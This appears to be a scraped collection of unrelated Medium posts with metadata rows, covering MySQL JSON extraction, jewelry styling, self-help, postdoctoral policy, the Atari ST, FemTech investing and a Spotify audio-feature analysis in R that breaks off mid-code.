'$[*]' → specific index/element you are extracting from. If you only want to extract data from some of the listed elements, modify this argument to '$.elementname' . Or if you want to only extract the element by its index number, replace ' *' with the index or indices of your choice. e.g. first element only would be '$[0]' , first 3 elements would be '$[0,1,2]' . Otherwise, '$[*]' will extract data from all elements available. , , , ,
COLUMNS() → list the columns you want to extract
‘time’ / ‘pageTitle’ → desired alias
INT / VARCHAR(100) → desired data type
/ → desired data type PATH ‘$.time’ / PATH ‘$.pageTitle’ → designates the child column to be extracted
NESTED PATH '$.page'→ If the child column you are calling is nested within another column, use this argument and designate the child column where your data is nested in, then nest another COLUMNS() argument within it.
There are other arguments which you may need which are not used in our guide. Please refer to the official documentation for a full list of the arguments., , , , ,
JSON_TABLE() in Holistics
As mentioned above, the JSON_TABLE() function is called in your FROM argument. As such, you cannot create a custom dimension to extract it and it must be designated in your SQL in a data transform model from the get-go. Whatever you extract can then be used as fields to create reports with drag and drop. , , ,
Conclusion
MySQL8.0 is a powerful tool for reading and formatting JSON data. With a few steps, it can be ready for reporting and analysis within Holistics. , , , , , , ,We hope this guide was helpful. , , ,
Original POst by Mr. Dave Ganesan | https://medium.com/@andreessulp/how-to-unnest-extract-nested-json-data-in-mysql-8-0-c9322c90df12 | ['Andrees Sulp'] | 2020-12-24 01:06:53.161000+00:00 | ['Data Modeling', 'Data Science', 'Productivity', 'Business Intelligence', 'Technology'] |
Wear it Three Ways — Versatile Necklaces | Whenever we buy an item for our closet, we hope we can put it to good use. Everyone has their go-to necklace, blazer, earrings or blouse. These items are our favorites because we can endlessly mix and match them. We can create a variety of outfits with them, and each look is different from the last. One of our many favorite pieces of jewelry to mix and match are black spinel necklaces! It’s a great necklace to add to your collection because it is effortless to mix, match, and layer! In this blog, we’re going to show you a variety of ways to style black spinel necklaces.
For the first look, we’ve paired a black spinel strand with a turquoise abalone shell necklace. These necklaces are a great match for layering because of the varying lengths. We also love pairing a black spinel necklace with a silver pendant because it really allows the darker colors to pop!
The second look is all about lengths and textures. The first piece is a chunky black spinel necklace that sits close to the neck. We’ve paired it with a freshwater pearl, labradorite and agate necklace which adds a variety of earth tones to this layered look. This look is completed with a sparkly black spinel strand!
Another effortless way to style a black spinel necklace is pairing it with a gemstone pendant. This yellow Brazilian citrine pendant pairs brilliantly with the long spinel strands, and allows the yellow gemstone to shine.
A few versatile pieces of jewelry are essential in everyone’s jewelry box! A necklace, band ring or bangle bracelet that can be paired with a variety of pieces are what you will find yourself reaching for when adding last-minute touches to your outfit!
-Allie | https://medium.com/jewelry-love/wear-it-three-ways-versatile-necklaces-6f5013857b8 | ['Scarlett Sinclaire'] | 2020-04-23 13:10:06.406000+00:00 | ['Featured'] |
Self Respect | Self respect means the regard that a person keeps for himself or herself, it means the honour that one gives to himself because of his values and principles. Trust in our own self to say and what we feel to be right. Self respect is essential to every human being. A certain degree of self- respect develops in us by itself without teaching of anyone. It comes when we respect others, do our work honestly, try to do whatever is right and avoid whatever is wrong. The degree varies from person to person according to their values. As much a person takes care of his values, as person he starts respecting himself.
A person without self-respect either can’t make any decision for himself or if he makes, these prove to be wrong in the long run. It happens because of the selfishness present in him while taking decisions. Such persons might win temporarily but they end up being cheated by others.
Sometimes the meaning of self-esteem is misunderstood. It is related with the status, power and money, It is judged by the clothes one wears, the kind of car one drivers and the kind of society one is seen which is absolutely wrong. Self-respect has nothing to do with all this. A person at the post of minister if feels fear of getting caught for the scam which none else knows except him that means he is far from it. Contrary to it, a self-respecting person is always fearless. Plato was of the view that a person can be a self-respecting person if he follows morals and ethics. But is seen now-a-days in society that such a person makes these people angry, frustrated and disappointed who want to dictate him. The survival has rather become difficult for self respecting persons. It is only because there are few. we students can do a lot in this regard by increasing the number .This is possible if we become truthful,do our homework regularly, don’t copy sums from others students copies, don’t try to cheat during exam time and respect our teachers from heart.To become truthful in the eyes of others is easy to become truthful in one’s own eyes and to have self respect is difficult but never impossible .In the end ,I give a call to all of you to become truthful to yourself and develop self respect as this is the only way to bring mental peace and happiness. | https://medium.com/@ravitatehlan123/self-respect-ce96ddc168fd | [] | 2020-07-19 13:28:33.453000+00:00 | ['Love Yourself', 'Confident', 'Believe In Yourself', 'Independent'] |
Biggest Red Flags In A New Relationship. | As we all know, when we are so deep into someone we only focus on them and how to make them like us back, but along the way we ignore the biggest signals that the universe keep sending us, and that could actually protect us from all the negativity and toxicity that will consume us off guard.
Here are the red flags you shouldn’t be ignoring when getting into a new relationship:
Trust your intuition; trust your instincts. because they are always true.
Whatever you’re feeling about this person deep down is probably true, even when you don’t wanna admit it to yourself. If you find yourself suffering from feelings of regret, emptiness and confusion, you’re defintely with the wrong person.
Someone who makes you question your worth or leave you feeling unwanted and left behind is someone you should avoid at all costs.
If they do these things repeadtly: lying, acting cold and distant, only talk to you when they need something, blame you for things that are out of your control. You should stay as far as possible from them.
If they constantly make you feel like you are the bad guy, when in fact you have not did anything wrong.
Stay away from people who get angry at you for the smallest unreasonable things, especially who gets angry with you for being upset over something they’ve done to you. They usually do that so they won’t have to apologise.
Stay away from people who manipulate you into getting their way by bringing up your past. It is so toxic.
Stay away from narcissists, they have a hard time respecting boundaries and accepting different points of view. You will find yourself pressured into talking or doing things that are out of your comfort zone.
When you are the only one that is taking the initiative, you feel like you are doing all the chasing by making plenty of efforts that rarely seems to be reciprocated. This is when you know that you are with the wrong person.
When you are the only one that is interrested in knowing every single detail about your partner, you find yourself the only one who is asking questions and wanting to get to know more of them. This is when you know that you are with the wrong person.
These constant mistreatments and negative actions will affect your mental well being and can often make you question yourself, they will also destroy the foundation of your self-esteem.
You decided to read this for a reason, trust that reason.
Whoever is reading this now, I hope you can find the peace in being alone and protecting your mental health rather than being with the wrong person.
Finding real love and the right person means letting go of those who intend to hurt you.
-Ilhem | https://medium.com/@unicornsxreal/biggest-red-flags-in-a-new-relationship-dffa18add410 | [] | 2020-12-19 21:02:10.008000+00:00 | ['Writers On Writing', 'Goodreads', 'Social', 'Relationships', 'Romance'] |
The Trait That Takes You From Average to Spectacular is Not Your IQ | The Trait That Takes You From Average to Spectacular is Not Your IQ
The making of an expert
You are unique, and so is everyone else. Success means a lot to every person. It’s a weighted combination of power, status, money, family, and work. You can define success in your own terms, because what brings you fulfillment and meaning is not the same for everyone.
People pursue success for different reasons. The fortunate few with a high IQ advantage may find it easy to pursue specific careers in life. And what could take you twice as long to learn and achieve will be an easy pursuit for them.
Deliberate, purposeful and systematic practice have a lot more to do with your success than you think
Talent is overrated. Thousands of hours of hard work can compensate for what you think is a weakness. You can master any skill if you put your mind to it and commit to relentless practice.
In Talent Is Overrated, Geoff Colvin argues that deliberate, methodical, and sustained practice is the way to achieve true mastery. “Deliberate practice is hard. It hurts. But it works. More of it equals better performance. Tons of it equals great performance,” Colvin writes.
You could argue that a set of genes give rise to some particular skill and that Einstein had the physics gene and Mozart had the symphony gene. But guess what? Even those with some kind of talent have to work hard to reach the peak of their selected careers. Einstein and Mozart had to work damn hard to achieve greatness.
Mozart once wrote to a friend: “People err who think my art comes easily to me. I assure you, dear friend, nobody has devoted so much time and thought to composition as I. There is not a famous master whose music I have not industriously studied through many times.”
You can easily attribute insane success to talent. But the ability to keep plugging away despite any setbacks or failures can significantly improve your odds of succeeding at any skill you choose to master.
Researcher Dr. K. Anders Ericsson of the University of Stockholm has found that talent is really about deliberate practice. The mix of passion, perseverance, and self-discipline that keeps you moving forward in spite of obstacles can contribute to your success more than your IQ.
Your ability to stick with and pursue any goal over a long period of time is an important indicator of achieving anything worthwhile in your life and career.
In an article on LinkedIn, Daniel Goleman, the author of Focus: The Hidden Driver of Excellence, argues that the trait that takes you from average to spectacular comes from your measure of cognitive control, not your IQ.
“The abilities that set stars apart from the average at work cover the emotional intelligence spectrum: self-awareness, self-management, empathy, and social effectiveness,” says Daniel.
He references studies from the University of Pennsylvania to exemplify the importance of these skills: The students who earned the highest grades weren’t necessarily the ones with the highest IQs, but rather those who kept trying despite setbacks and failures.
These studies suggest that one of the most crucial skills you need to succeed is having a talent for working hard. The ability to persevere and maintain goal-focused effort for extended periods is important for your success.
The good news is, you can cultivate the perseverance and mental toughness success requires. Your response to a challenging situation is more important than the obstacles you face, hence the need to develop powerful motivation to help you achieve your goals. Tenacity matters more than talent. | https://thomas-oppong.medium.com/the-trait-that-takes-you-from-average-to-spectacular-is-not-your-iq-9760c15b1aaa | ['Thomas Oppong'] | 2020-11-28 20:29:15.978000+00:00 | ['Personal Growth', 'Self', 'Success', 'Self Improvement'] |
The rise of female entrepreneurship through Femtech | For decades, women’s health products have been seen as a “niche” market, largely designed and sold by men. Now, in the wake of a new era, we are seeing an innovative wave of technology made by women, for women. Femtech is set to be the next big disruptor in the global healthcare market, estimated to become an industry worth US$50 billion by 2025. Crucially, it is female entrepreneurs who are at the forefront of this revolution.
It has been incredible to see the Femtech market boom, not only because of the enormous benefits this has on women’s health and their quality of life, but encouraged more women to enter the venture capital industry. As an international investor and principal of my own venture capital fund, it is vital that we continue to support this developing market that concerns more than 50% of the world population.
Within NJF Capital’s portfolio, I have invested in two interesting companies in the Femtech sector.
A Focus on Elvie
One great case study is Elvie. Elvie, one of the early pioneers of the Femtech sector. Its first two innovative products, the Elvie Trainer and the multi-award-winning Elvie Pump, the world’s first silent wearable breast pump, are capturing the imagination of female consumers everywhere and are reinventing healthcare as we know it by giving women back control and autonomy of their bodies.
Elvie has a long-term roadmap to develop effective, user-friendly products and smart technology capable of supporting women in many different aspects of their lives. As the Co-Founder, Tania Boler herself said, Elvie’s ambition is to become the ‘Apple of women’s tech’ and its mission is to improve women’s health outcomes globally.
The company has raised over $53 million in funding to date, backed by Sir Michael Spencer’s IPGL alongside Impact Ventures and NJF Capital, and has been featured in a range of high-profile media from Vogue to Forbes to Women’s Health. Its products have even found their way into Oscar Nominee Gift Bags and, impressively, the Elvie Pump sold out within five minutes of its U.S. market debut.
Elvie has recently secured funding from HSBC UK which it hopes to use to expand further and support more women globally.
We know that more needs to be done for female entrepreneurship. We have to work to improve the fact that only 1% of venture capital funding to new businesses is to female-led UK start-ups. FemTech can play a vital role in helping to change this and I look forwards to seeing how the industry develops.
Nicole Junkermann
Nicole Junkermann is an international entrepreneur and investor, and the founder of NJF Holdings, an international investment company with interests in venture capital, private equity, and real estate. Through NJF’s venture capital arm (NJF Capital), Nicole oversees a portfolio across Europe and the US similar in size to a small venture fund, including in healthcare, fintech, and deep tech. | https://medium.com/@njf-capital/the-rise-of-female-entrepreneurship-through-femtech-bd1d75a653b8 | ['Njf Capital'] | 2021-02-17 15:19:53.462000+00:00 | ['Investors', 'Entrepreneur', 'Femtech', 'Women In Business', 'Entrepreneurship'] |
Groundhog Day: The Plight of Postdoctoral Researchers | Let’s drive innovation by re-envisioning postdoctoral research as a fixed term “Tour of Duty”, with embedded offboarding, alumni services, and access to “Veteran’s benefits” for all who participate.
Postdoctoral researchers are a critical component of global innovation capacity. Yet, after more than two decades of sustained advocacy, there remain amorphous and contradictory policies and practices around the postdoctoral experience, leaving many isolated and demoralized. If we are serious about recruiting talented people into research teams to address global challenges, we need to reboot the postdoc as a fixed term Tour of Duty with clear offboarding processes and benefits.
The experience
Twenty years ago, the US National Academies published Enhancing the Postdoctoral Experience for Scientists and Engineers, a seminal report on the institutional and personal environments in which research driving the US scientific enterprise is performed. A primary finding was that “employment conditions for postdocs, especially in universities, need to be significantly improved if the United States is to develop the human capital needed to assure a healthy research enterprise and global leadership in science and technology.”
Having been a postdoc myself, I remember clearly moving to my first “real job” — where on my first day I had several completely novel experiences. My first scheduled stop was Human Resources (a group I had never interacted with during my years as a graduate student and postdoc). There, I signed up for health benefits (I hadn’t seen a dentist in over 10 years) and a retirement savings plan (never had one) and reviewed personnel and leave policies (never had those as a researcher, either — including no sanctioned break after having my first child). My new boss escorted me to my office, decked out with a work-provided desk, chair, door, and computer (previously office space had been seen as a luxury accorded to few, and most of us eked out space on a lab bench next to our experiments). We also talked about expectations, the performance review process, and the term of my position.
This first job was at Science’s Next Wave/AAAS (now Science Careers), where I was hired in 2001 to helm the Postdoc Network. In addition to fostering an online community of university administrators and organizing national meetings to showcase effective practices and policies, I collaborated with my NextWave colleagues to develop monthly features on careers for science and engineering graduates and postdocs.
It’s been a minute. But through subsequent positions at 4 organizations, everything “new” I experienced at AAAS has been repeated: clear personnel policies, benefits, and review processes.
What has changed for postdocs?
While at the Postdoc Network, I helped to mentor a group of committed postdocs in their goal to create a national advocacy association for postdoctoral researchers. The leadership and community support came together during the 2002 Postdoc Network meeting, held in Washington D.C. With an initial start-up grant from the Alfred P. Sloan Foundation, the National Postdoctoral Association was officially launched in 2003.
Since then, the NPA has been instrumental in promoting effective postdoctoral policies and communities of practice among institutions where postdocs work. It has advocated for improved transparency in postdoctoral contracts, and improved coordination between US agencies and institutions regarding postdoctoral compensation.
Other advocacy organizations have joined these efforts. The Future of Research, formed in 2014, directly advocates for graduate students and postdocs, specifically around transparency in career outcomes. The Coalition for Next Generation Life Science, a group of US Universities, formed to collect and publish institution-level career outcome statistics for graduate students and postdocs.
But, what really has changed? Listening to Paula Stephan at the 19 March 2021 NBER Conference on Investments in Early Career Scientists: Data and Research Gaps, I felt a severe sense of deja vu. Paula Stephan is a Professor of Economics at Georgia State University who specializes in the economics of science and the careers of scientists and engineers. In addition to her seminal work on the topic, she has served on workforce panels since the 1998 National Academies panel, Trends in the Early Careers of Life Scientists. She observed that, “almost all recommendations [to improve the postdoctoral experience] have been ignored to date by academe and most by funders.” The biggest change, that of increased compensation, was a response to changes in US Fair Labor Standards Act (FLSA) coverage; not because of panel recommendations or postdoc advocacy efforts.
What has stayed the same?
Even with progress on compensation, the main problems for postdocs remain the same: profound isolation and lack of perspective on career opportunities. These are constant themes in surveys, reports, and policy recommendations over the last 20 years. In turn, profound dissatisfaction with the postdoctoral experience is stymying efforts to recruit and retain a diverse talent pool to address global challenges.
“It is a bit absurd that the most productive members of the laboratory workforce are relegated to second-class status: Obtaining benefits is often difficult, and retirement plans [are] impossible.” [PostdocNetwork survey response, 2003]
“[Young scientists have the] feeling there is no way to exit [academia] positively”.[Future of Work survey response, 2014]
Nearly 70% of postdocs are very or extremely concerned about job prospects.[NPA Postdoc Needs Assessment Survey, 2020]
A vision for the future
In addition to compensation, recommendations to improve the postdoctoral experience have focused on improved job information flows, creating more permanent positions, and allocating more independent funding for postdoctoral researchers.
However, why not take a different approach? Managing the exit has been the problem all along, so why not refashion the postdoctoral experience as a “tour of duty” appointment, with a predefined term limit, expectations for personal and organizational growth, and an alumni program? Because postdoctoral scholars are so critical for US R&D, let’s also add in a sweetener: long-lasting access to discounted federal health insurance benefits and an initial contribution to a retirement plan for all who complete the tour of duty?
A Postdoc Tour of Duty is not so far from reality. According to the US Bureau of Labor Statistics, average job tenure in the US is now about 4 years. Most people know they are going to change jobs several times in their career. In “Turn Departing Employees into Loyal Alumni” (Harvard Business Review, March 2021), Alison Dachner and Erin Makarius put forward convincing evidence that planning ahead for exits benefits the individual and the organization. Successful programs acknowledge employee contributions, provide training and resources for the transition, and capture feedback on the experience.
Managing the exit up front for postdocs means embedding career succession planning in the postdoc contract. The NPA just released their new strategic plan, in which one pillar is focused on career development. According to Tom Kimbis, NPA Executive Director, “a key objective is to change the perception that anything other than an academic career is a failure.” To this end, the NPA is contemplating launching PDAlum, a pilot program aimed at tracking postdoctoral alumni and providing career mentoring resources.
With a successful alumni network, one can imagine a world where, as researchers are building teams for their next project, the alumni database becomes an integral tool to both search for and mentor team members. A strong alumni program engenders respect for postdoctoral contributions. By reducing isolation it improves morale.
By managing the exit up front for postdocs, we can better recruit a diverse research workforce motivated to address global challenges. | https://medium.com/an-idea/groundhog-day-the-plight-of-postdoctoral-researchers-4f6e6f86c7b1 | ['L Haak'] | 2021-04-20 01:03:10.639000+00:00 | ['Alumni Engagement', 'Innovation Management', 'Research Policy', 'Team Building', 'Isolation'] |
Atari | It would not be an exaggeration to say that encountering the Atari ST began my career as a technology writer.
Though I’d played with Sinclair Spectrums and Amstrad PCs in the 80s, I had never used a computer as a production tool. My undergraduate dissertation was written in longhand and I paid a lady with a royal family anniversary commemoration plate to type it up, for example.
I came home in 1989 with my 2.1 in Communication Studies and no job. My younger brother Jason had an ST up in his attic bedroom. He played games on it — a lot. I wasn’t interested in the games though. I was interested in the demos — these strange proof-of-concept showcases of imagery and music put together by enthusiasts. It was something beyond my capability — I’ve never been much of a programmer. But I was fascinated by the combination of skills required; technological savvy and creativity.
I got interested in a form of music making that went hand in hand with the demo scene called tracking. Music Trackers were tools you could use to create music with short samples, using none-standard notation. Their lineage stretched back to the punch-card, player pianos of the 1800s…
Illusion Software’s Quartet was not quite a tracker, but it shared some of their characteristics. Made by two University of York undergraduates, it was a four channel, stereo sample sequencer that was unique in that it used standard musical notation. +Rob Povey designed the amazing, intuitive interface. To this day, I’ve yet to use a piece of music composition software with a better notation system.
I recently got in touch with Rob’s partner in creating Quartet, Kevin Cowtan, who found ways around the ST’s rudimentary sound system as co-programmer. I gushed about Quartet — a programme that changed the way I thought about computers and that sucked up my life for almost two years. He said he’d almost forgotten it.
Getting the sounds they needed out of the ST was quite an engineering feat.
“We wrote our own version of the synth code setting the beep frequency to maximum (well above audible range) and using the volume settings to create an analogue output. We created several very highly optimised implementations in assembler — to do this we basically memorized the number of clock cycles required by every 68000 instruction and carefully picked the instructions to optimize performance.”
I recorded hours of music using Quartet. Samples careful selected, looped and tuned as instruments — then assembled into “voicesets”. The last of it in the mid-90s on an Atari STe. Some of it still listenable. It ignited an interest in digital creativity that lead to the career I have today.
I recently wrote about the ST for Stuff magazine — here’s a link to it. | https://medium.com/spodgod/atari-1bfb6a2ceeeb | ['Karl Hodge'] | 2017-03-23 10:55:09.182000+00:00 | ['Technology'] |
Three Different Things: November 15, 2019 | Three Different Things: November 15, 2019
Speaker Verification To Speech Synthesis, Google Putting Medical Data at Risk, and Your Data
Photo by jesse orrico on Unsplash
Click on the reference links and then compare to the generated speech. Pretty astonishing stuff from Google.
2. I’m the Google whistleblower. The medical data of millions of Americans is at risk
Above all: why was the information being handed over in a form that had not been “de-identified” — the term the industry uses for removing all personal details so that a patient’s medical record could not be directly linked back to them? And why had no patients and doctors been told what was happening? I was worried too about the security aspect of placing vast amounts of medical data in the digital cloud. Think about the recent hacks on banks or the 2013 data breach suffered by the retail giant Target — now imagine a similar event was inflicted on the healthcare data of millions.
I think EMR data ultimately has to live in the cloud to drive more effective outcomes… and as a consequence this data breach is likely going to happen. When it does, it’ll change the game — for the worse — for insurance companies and providers alike… not just the citizens who’s privacy is violated.
3. Andrew Yang wants you to make money off your data by making it your personal property
“By implementing measures to increase transparency in the data collection and monetization process, individuals can begin to reclaim ownership of what’s theirs,” Yang said in the plan.
In the example above, if we simply owned our own health data it would likely foster a much more competitive provider market. Providers would have better information to provide better care. Maybe Apple will figure this one out with Apple Health as a beachhead. | https://medium.com/early-hours/three-different-things-november-15-2019-a2e18d109d39 | ["Sean O'Brien"] | 2019-11-15 12:44:38.406000+00:00 | ['AI', 'Policy', 'Healthcare', 'Data Science'] |
The Amazing Mori Art Museum in Tokyo, Japan | Photo credit: Wikimedia Commons User: Syced / CC BY-SA 3.0
At Fine Art Shippers, we specialize in shipping art from NYC to Tokyo and vice versa. Tokyo has a vibrant art scene, with so many galleries that are worth visiting by all connoisseurs of modern and contemporary art, such as the superb Seizan Gallery that offers a fantastic selection of works by both Japanese and international artists. Tokyo is also home to many must-visit art institutions, and in this blog post, we want to tell you about one of them — The Mori Art Museum located in Minato City.
The Mori Art Museum
The Mori Art Museum is a museum of contemporary art, which was founded in Tokyo by Minoru Mori in 2003. It is located at the top of the 54-story Roppongi Hills Mori Tower, a place visible from throughout the city.
The Museum does not have a permanent collection, but it is known worldwide for its wide variety of original solo and group exhibitions featuring works by many talented Japanese and international contemporary artists, including Bill Viola, Tokujin Yoshioka, and Ai Weiwei. Besides, it is committed to presenting various learning programs focused on cutting-edge visual arts, design, architecture, and other artistic activities within the contexts of science, philosophy, history, and certainly culture. It is also worth noting that the Museum collaborates with different art business professionals, art fairs, and galleries, bringing the best contemporary art to Tokyo. At Fine Art Shippers, we highly recommend that you visit this amazing institution at your first opportunity!
Originally published at https://fineartshippers.com on July 10, 2019. | https://medium.com/@fineartshippers/the-amazing-mori-art-museum-in-tokyo-japan-6fdaca2143a8 | ['Ilya Kushnirskiy', 'Fine Art Shippers'] | 2019-07-10 22:30:31.187000+00:00 | ['Japan', 'Contemporary Art', 'Tokyo', 'Museums', 'Art'] |
What to Learn in this New World | In a world of constant innovation, I find myself wondering what is the best stack to be learning at any one time? Last year I took part in a coding bootcamp in which I learned Ruby, Ruby on Rails (which I use on the backend when developing apps) and then Javascript and React (frontend). Knowing how to code has opened new frontiers for me. Not only has it made it possible for me to build web and mobile apps (react native) using these coding languages but it has opened the door towards being able to pick up new tech stacks with much less effort than before.
I am currently learning machine learning via a Stanford University online course taught by Andrew Ng. This has been fun and leverages a language that is computationally heavy called Octave. There is math involved too but luckily my mechanical engineering degree at Boston University had me learn a bunch of maths back then so today I feel pretty comfortable picking it up. Learning machine learning has been a lot of fun. I also think it’s incredibly cool that a teacher as reputable as Andrew Ng is available to students worldwide and for free!! Crazy!
Next on my list would be learning about blockchain technology on Udemy.com. I like Udemy as the courses are all rated and it gives you an easy indicator of which courses are worth your time and which are not. I love the ideas behind blockchain technology and tokenization and creating efficiencies in transactions. I’ve seen that a few of the courses are set up for you to follow along as they build out a blockchain app. What’s cool is that the other day I saw one of these code-along courses was based in Python. While Python is not yet a tech stack that I have under my belt I feel very confident picking it up, especially if in this case I am guided by someone who knows it well.
Peter Diamandis and Steven Kotler recently released a book called The Future is Faster than you Think. The authors explore the increasing speed of technological innovation and how these different technologies are now starting to converge. It is a truly awe-inspiring read which I highly recommend for anyone who is living in our world today. I bring up this book because I am encouraged about our future. I am excited about the technology and what it will enable us to do as a society. At the same time I totally understand why some people fear the changes that are to come. The nature of work is changing. Our parents joined companies out of university and expected to stay for life. We are in a different situation. Innovation is changing how we do things. It is also accelerating this change.
My advice, my two cents, is to get comfortable with change, and the accelerating nature of the change. Be comfortable learning technology. Get curious. Buy Udemy courses, get on Coursera.com, buy LinkedIn courses on your specific fields of interest, read books, listen to Audible when you are on the move. Become an expert in whatever topics light your fire and pique your interest and curiosity. Instead of feeling like you are being left behind, decide to instead be part of this incredible technological revolution we are a part of. Become a disruptor.
Believe me, if I was able to learn how to become a software engineer, you are able to achieve anything you set your mind too. Get gritty, get stuck in. Enjoy the process. None of us are going anywhere so we might as well make the most of this new and continuously evolving world of ours.
Hope you found this useful.
Wishing you the best coding possible. Catch you next week.
Best,
Nick
LinkedIn
GitHub | https://medium.com/@nicolascharlet/what-to-learn-in-this-new-world-87d393a9d324 | ['Nicolas Charlet'] | 2020-03-11 19:59:05.380000+00:00 | ['Learning And Development', 'Growth Mindset', 'Codingbootcamp', 'Coding', 'Technology'] |
Do my Top 5 Spotify Artists of 2020 have something in common? | When Spotify introduced the #2020Wrapped, it allowed their listeners to share their year-in-review on Instagram Stories. This year-in-review includes the top 5 songs, the top 5 genres, as well as the top 5 artists that a listener has been listening to this year.
To prevent from being FOMO, I have also tried out in understanding the deep dive of what I have been listened to on the app throughout this year of difficult times.
My Top 5 Spotify Artists of 2020, Image by Author
Based on my #2020Wrapped, I am interested to find out if there is something in common among my Top 5 Spotify Artists — Lauv, The Chainsmokers, Gryffin, Kygo, and Martin Garrix.
In this exercise, Python is used for data scraping while the data while R is used for data analytics, data modelling, and data visualisation.
Import the dataset and the packages
Spotify allows every listener or data enthusiast to retrieve data from their amazing Spotify Developer Platform.
From there, one can access the Spotify Web API Console to scrape the data out through the use of Python and its package called Spotipy. You can get the code with regards to the scraping of data on my GitHub repository.
From the data available, I have only selected those variables related to the audio features. The audio features are as follows:
Acousticness — A confidence measure from 0.0 to 1.0 of whether the track is acoustic, whereby 1.0 represents high confidence the track is acoustic.
— A confidence measure from 0.0 to 1.0 of whether the track is acoustic, whereby 1.0 represents high confidence the track is acoustic. Danceability — How suitable a track is for dancing based on a combination of musical elements including tempo, rhythm stability, beat strength, and overall regularity. A value of 0.0 is least danceable and 1.0 is most danceable.
— How suitable a track is for dancing based on a combination of musical elements including tempo, rhythm stability, beat strength, and overall regularity. A value of 0.0 is least danceable and 1.0 is most danceable. Energy — A measure from 0.0 to 1.0 and represents a perceptual measure of intensity and activity. Typically, energetic tracks feel fast, loud, and noisy.
— A measure from 0.0 to 1.0 and represents a perceptual measure of intensity and activity. Typically, energetic tracks feel fast, loud, and noisy. Instrumentalness — Predicts whether a track contains no vocals. “Ooh” and “aah” sounds are treated as instrumental in this context. Rap or spoken word tracks are clearly “vocal”. The closer the instrumentalness value is to 1.0, the greater likelihood the track contains no vocal content. Values above 0.5 are intended to represent instrumental tracks, but confidence is higher as the value approaches 1.0.
— Predicts whether a track contains no vocals. “Ooh” and “aah” sounds are treated as instrumental in this context. Rap or spoken word tracks are clearly “vocal”. The closer the instrumentalness value is to 1.0, the greater likelihood the track contains no vocal content. Values above 0.5 are intended to represent instrumental tracks, but confidence is higher as the value approaches 1.0. Liveness — Detects the presence of an audience in the recording. Higher liveness values represent an increased probability that the track was performed live. A value above 0.8 provides a strong likelihood that the track is live.
— Detects the presence of an audience in the recording. Higher liveness values represent an increased probability that the track was performed live. A value above 0.8 provides a strong likelihood that the track is live. Loudness — The overall loudness of a track in decibels (dB). Loudness values are averaged across the entire track and are useful for comparing relative loudness of tracks. Loudness is the quality of a sound that is the primary psychological correlate of physical strength (amplitude). Values typical range between -60 and 0 dB.
— The overall loudness of a track in decibels (dB). Loudness values are averaged across the entire track and are useful for comparing relative loudness of tracks. Loudness is the quality of a sound that is the primary psychological correlate of physical strength (amplitude). Values typical range between -60 and 0 dB. Speechiness — Detects the presence of spoken words in a track. The more exclusively speech-like the recording (e.g. talk show, audiobook, poetry), the closer to 1.0 the attribute value. Values above 0.66 describe tracks that are probably made entirely of spoken words. Values between 0.33 and 0.66 describe tracks that may contain both music and speech, either in sections or layered, including such cases as rap music. Values below 0.33 most likely represent music and other non-speech-like tracks.
— Detects the presence of spoken words in a track. The more exclusively speech-like the recording (e.g. talk show, audiobook, poetry), the closer to 1.0 the attribute value. Values above 0.66 describe tracks that are probably made entirely of spoken words. Values between 0.33 and 0.66 describe tracks that may contain both music and speech, either in sections or layered, including such cases as rap music. Values below 0.33 most likely represent music and other non-speech-like tracks. Valence — A measure from 0.0 to 1.0 describing the musical positiveness conveyed by a track. Tracks with high valence sound more positive (e.g. happy, cheerful, euphoric), while tracks with low valence sound more negative (e.g. sad, depressed, angry).
— A measure from 0.0 to 1.0 describing the musical positiveness conveyed by a track. Tracks with high valence sound more positive (e.g. happy, cheerful, euphoric), while tracks with low valence sound more negative (e.g. sad, depressed, angry). Tempo — The overall estimated tempo of a track in beats per minute (BPM). In musical terminology, the tempo is the speed or pace of a given piece and derives directly from the average beat duration.
After retrieving the dataset from Spotify API through scraping, now it’s time to transit the programming language from Python to R. Before importing the dataset, let’s call the packages that would be used throughout this exercise.
library(tidyverse) # set of R packages (including ggplot)
library(readr) # read rectangular data
library(dplyr) # data manipulation
library(data.table) # data manipulation
library(fmsb) # radar chart
library(corrplot) # correlation plot
library(FactoMineR) # for Principal Component Analysis
library(factoextra) # for K-Means Clustering
library(qdap) # for text cleaning
library(qdapDictionaries) # for text cleaning
library(tm) # for text cleaning
library(wordcloud2) # for lyrics word cloud
library(syuzhet) # for sentiment analysis
The below datasets were scraped through Python’s Spotipy when accessing the Spotify API to call each of the Top 5 Spotify Artists from my #2020Wrapped.
lauv <- read_csv("Lauv.csv")
the_chainsmokers <- read_csv("The_Chainsmokers.csv")
gryffin <- read_csv("Gryffin.csv")
kygo <- read_csv("Kygo.csv")
martin_garrix <- read_csv("Martin_Garrix.csv")
Tidy & Transform
In order to merge the 5 datasets of the different artists, rbind is implemented. This function can be used to bind several vectors, matrices, or data frames by rows.
top_5_artists_df <- do.call("rbind", list(lauv, the_chainsmokers, gryffin, kygo, martin_garrix))
Thereafter, the cleaning of the compiled dataset is necessary. This includes the dropping of unnecessary columns that would not be used in this exercise.
top_5_artists_df <- top_5_artists_df %>%
select(-X1, -track_number, -uri)
Before moving on to the next stage, Exploratory Data Analysis, I need to ensure if there are any null values in the dataset.
map(top_5_artists_df, ~sum(is.na(.)))
Fortunately, in the below results, there are no null values in both of the datasets else there is a need to drop data with null values.
> map(top_5_artists_df, ~sum(is.na(.)))
$album
[1] 0 $id
[1] 0 $name
[1] 0 $acousticness
[1] 0 $danceability
[1] 0 $energy
[1] 0 $instrumentalness
[1] 0 $liveness
[1] 0 $loudness
[1] 0 $speechiness
[1] 0 $tempo
[1] 0 $valence
[1] 0 $popularity
[1] 0 $artist
[1] 0
The creation of the new dataset that retains numerical variables is done for the later process of this exercise — Model Building.
top_5_artists_df_num_only <- top_5_artists_df %>%
select(-album, -id, -name, -artist)
Lastly, the function of generating radar charts is created where the audio features are normalised at the values from 0 to 1 to provide readability of the chart.
radar_chart <- function(arg){
songs_data_to_be_used <- top_5_artists_df %>% filter(artist==arg)
radar_data_v1 <- songs_data_to_be_used %>%
select(acousticness, danceability, energy, instrumentalness, liveness, loudness, speechiness, tempo, valence)
radar_data_v2 <- apply(radar_data_v1,2,function(x){(x-min(x)) / diff(range(x))})
radar_data_v3 <- apply(radar_data_v2,2,mean)
radar_data_v4 <- rbind(rep(1,5) , rep(0,5) , radar_data_v3)
return(radarchart(as.data.frame(radar_data_v4),title=arg))
}
Exploratory Data Analysis
Audio Features across the Top 5 Spotify Artists
A radar chart is useful to compare the musical vibes of the 5 artists in a more visual way.
par(mfrow = c(2, 3))
radar_chart_lauv <- radar_chart("Lauv")
radar_chart_the_chainsmokers <- radar_chart("The Chainsmokers")
